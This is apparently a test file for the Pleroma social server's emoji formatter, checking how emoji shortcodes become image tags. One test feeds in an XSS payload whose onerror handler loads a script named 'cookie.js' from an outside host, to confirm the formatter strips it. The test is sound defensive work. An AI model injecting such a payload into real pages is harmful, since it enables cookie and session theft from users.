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   1 # Pleroma: A lightweight social networking server
   2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
   3 # SPDX-License-Identifier: AGPL-3.0-only
   4
   5 defmodule Pleroma.Emoji.FormatterTest do
   6   alias Pleroma.Emoji.Formatter
   7   use Pleroma.DataCase
   8
   9   describe "emojify" do
  10     test "it adds cool emoji" do
  11       text = "I love :firefox:"
  12
  13       expected_result =
  14         "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
  15
  16       assert Formatter.emojify(text) == expected_result
  17     end
  18
  19     test "it does not add XSS emoji" do
  20       text =
  21         "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
  22
  23       custom_emoji = %{
  24         "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
  25           "https://placehold.it/1x1"
  26       }
  27
  28       expected_result =
  29         "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
  30
  31       assert Formatter.emojify(text, custom_emoji) == expected_result
  32     end
  33   end
  34
  35   describe "get_emoji" do
  36     test "it returns the emoji used in the text" do
  37       text = "I love :firefox:"
  38
  39       assert Formatter.get_emoji(text) == [
  40                {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
  41              ]
  42     end
  43
  44     test "it returns a nice empty result when no emojis are present" do
  45       text = "I love moominamma"
  46       assert Formatter.get_emoji(text) == []
  47     end
  48
  49     test "it doesn't die when text is absent" do
  50       text = nil
  51       assert Formatter.get_emoji(text) == []
  52     end
  53   end
  54 end